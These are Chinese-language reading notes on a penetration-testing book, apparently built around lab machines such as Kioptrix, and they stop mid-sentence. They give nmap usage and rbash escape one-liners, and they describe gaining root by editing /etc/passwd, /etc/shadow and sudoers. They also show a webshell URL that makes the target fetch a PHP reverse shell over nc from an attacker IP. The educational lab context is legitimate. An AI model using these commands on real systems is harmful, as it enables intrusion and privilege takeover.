《脑洞大开:渗透测试另类实战攻略》读书笔记
第一章:欢迎,年轻的勇士:准备工作
nmap常用命令
1 | nmap -sC -sV -v -A 目标主机ip |
其中,-sC、 -sV、 -V、 -A这四个参数的含义如下:
- -sC: 根据端口识别服务自动调用默认脚本,即nmap将根据识别到的具体服务自动使用对
应的默认脚本检测服务详情。 - -sV: 扫描目标主机的端口和软件版本,即nmap将在探测端口的基础上继续对版本信息进
行探测。 - -v: 输出详细信息,通过该参数我们将实时获得探测过程中的进度等详细信息。
- -A: 综合扫描,包含基于1~ 10000的端口进行ping扫描、操作系统扫描、脚本扫描、路由跟踪和服务探测等。
字典
kali自带强大字典
1 | 在Kali中此文件所在的路径为 |
文件传输操作
开http服务
1 | python -m SinpleHTTPServer 80 |
wget下载
1 | wget http://10.xxx.xxx.xxx/shell.sh |
第二章:新手村:从Kioptrix开始
Point 1(80/443)
对于开放开80和443端口的IP,要分别访问80和443端口
1 | 小贴士:相信有不少人会误以为https服务所提供的站点内容与当前主机http服务所提供的 |
Point 2(Exploit Database)
过时的中间件、服务版本,可能会存在漏洞,可在Exploit Database进行检索
Point 3(LinEnum)
getshell之后可通过linux提权辅助工具LinEnum进行提权
1 | LinEnum 是一个 Linux 主机本地信息自动提取的 shell 脚本,它有超过 65 项安全检查功能,比如潜在的 SUID/GUID 文件、Sudo/rhost 错误配置等。 |
Point 5(linux写权限)
提权需要在目标主机本地系统中选择一个我们拥有写权限的目录,Linux 下常用的相关目录
有/tmp/目录以及/dev/shm/目录等
Point 6(rbash)
rbash
1 | 小贴士: rbash是一种功能受限的bash shell,即它可以执行的命令被人为限制了,只有特 |
在rbash中输入“?” ,会获得当前shell允许执行的所有命令列表
在rbash中,如果遇到了如下常见的命令被允许执行,就可以直接凭借对应的构造命令成功地实现rbash逃逸。换言之,如果想设置一个相对安全的rbash环境,以下命令不应该轻易被允许使用。
- 针对
ftp
、more
、less
、man
、vi
、vim
,可在输入点输入!/bin/sh
或!/bin/bash
命令实现逃逸。 awk
可以使用awk 'BEGIN{system("/bin/sh")}'
或awk 'BEGIN{system("/bin/bash")}'
。-
find
命令可以通过输入find/-name SomeName-exec/bin/sh\;
和find/-name SomeName-exec/bin/bash\;
实现逃逸。 - Python可以使用
python-c 'import os;os.system("/bin/sh")'
命令实现逃逸。 - php可以使用
php-a then exec("sh-i");
命令实现逃逸。 - Perl可以使用
perl-e 'exec"/bin/sh";'
命令实现逃逸。 - lua可以使用
os.execute('/bin/sh')
命令实现逃逸。 - ruby可以使用
exec"/bin/sh"
命令实现逃逸。
这里只罗列了常见的部分,若想获得更多信息,建议进一步学习如下资料。
《Linux Restricted Shell Bypass》:https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf。
Point 7 (sudo)
1 | 小贴士: sudo是Linux系统下的管理指令,普通用户可以通过sudo命令以root权限执行管理员设定的几 |
Point 8 (改用户提权)
拥有修改敏感文件的权限时(比如sudo ht),我们可以直接在/etc/passwd
文件中新增用户,并且把密码直接写在/etc/passwd文件里。
例如:
上述内容将创建一个用户名为rootwe,密码为toor的root用户。文中密码toor的密文sXuCKi7k3Xh/s是通过如下命令获得的:
1 | openssl passwd -crypt toor |
也可以编辑/etc/shadow
文件,将root账号的密码清空,保存退出后,然后执行su root命令即可无须密码切换到root用户
也可以编辑/etc/sudoers
文件,该文件包含了每个用户可以在不输入密码的情况下使用sudo命令的范围,即执行sudo -l命令时获得的输出结果。可以直接修改该文件给当前的低权限用户添加无须使用密码执行sudo /bash命令的权限。
Point 9(sqlmap)
跑sqlmap的时候可以设置下--level
或者--risk
Point 10 (httpserver)
有的时候会遇到这样一个问题,使用python -m SimpleHTTPServer 80
命令开启http服务,但是目标主机系统中的wget命令将无法连接成功。这是因为该主机设置了策略,禁止连接远程主机的80端口,这时会出现如下图所示的连接等待界面。
而如果在Kali系统中换一个端口开启SimpleHTTPServer,则可以成功绕过上述连接限制。本例中使用如下命令将SimpleHTTPServer改在8882端口开放。
1 | python -m SinpleHTTPServer 8882 |
之后在目标主机系统上使用wget命令访问Kali系统的8882端口下载文件,就不会再受连接限制影响了
Point 11 (Apache的默认安装路径)
Apache官方提供了一个名为DistrosDefaultLayout的站点,链接如下:
https://cwiki.apache.org/confluence/display/HTTPD/DistrosDefaultLayout。
上述站点提供了Linux各版本系统下Apache的默认安装路径
1 | 当nmap扫描出来的某端口无法访问时,如果条件允许,可以通过Apache中间件的主配置文件httpd.conf来查找原因。比如存在目录穿越漏洞时,可通过上诉网站查找路径后配合漏洞进行读取 |
Point 12 (nc传输文件)
Kali系统自带shell文件php_reverse_shell.php,它默认位于/usr/share/webshells/php
目录。使用该文件时,首先要将其内部的反弹IP和端口更改为目前Kali系统实际使用的IP以及准备监听反弹shell的端口。
使用nc传输文件
攻击机:192.168.192.134
目标机器:192.168.192.135
当目标机器存在远程命令执行漏洞,但发现该目标主机系统限制使用nc的-e命令参数,这导致远程连接无法交互,输入任何命令都会直接断开连接。此外,由于目标主机本地没有bash、Python等程序,因此也导致相关反弹shell方法均不可用。这时使用文件写入方法,利用echo命令写入“一句Webshell”,获得一个可以回显的远程命令执行方式。
虽然目标主机对nc -e命令进行了限制,但nc传输文件时无须使用-e参数。因此可以借助“一句话Webshell”使用nc上传shell文件。具体操作如下:
1、利用“一句话Webshell”构建如下链接:
1 | http://192.168.192.135:8080/phptax/shell.php?cmd=nc 192.168.192.134 8888 >reverse_shell.php |
该链接中包含的命令将通过nc向192.168.192.134主机的8888端口发起连接请求,并且会将获得的返回数据保存为本地reverse_shell.php。访问上述链接前,在Kali系统的php_reverse_shell.php文件所在的目录下执行如下命令:
该命令将通过nc监听8888端口。当该端口被访问时,nc会将本地php_reverse_shell.php的文件内容提供给对方。通过在Kali系统以及目标主机分别完成上述操作,就可以成功使用nc实现文件传输,最终的传输结果将保存在目标主机Web目录的reverse_shell.php中。
完成上述操作后,使用nc命令重新监听8888端口。
最后通过浏览器访问链接http://192.168.192.135:8080/xxxxx/reverse_shell.php
即可触发反弹shell的执行。
第三章 过时即风险:综合技能的扩展与提升
Point 1 (windows传文件)
在Linux系统下可以使用的wget、curl等命令在Windows系统下往往都是失效的,因而需要另辟蹊径,比较常用的方法包括smb文件共享以及使用powershell中的DownloadFile()函数,这里以后者为例进行讲解,smb文件共享方式在后续的实践将单独说明。
利用powershell的DownloadFile()函数下载文件到本地Windows主机的命令格式如下。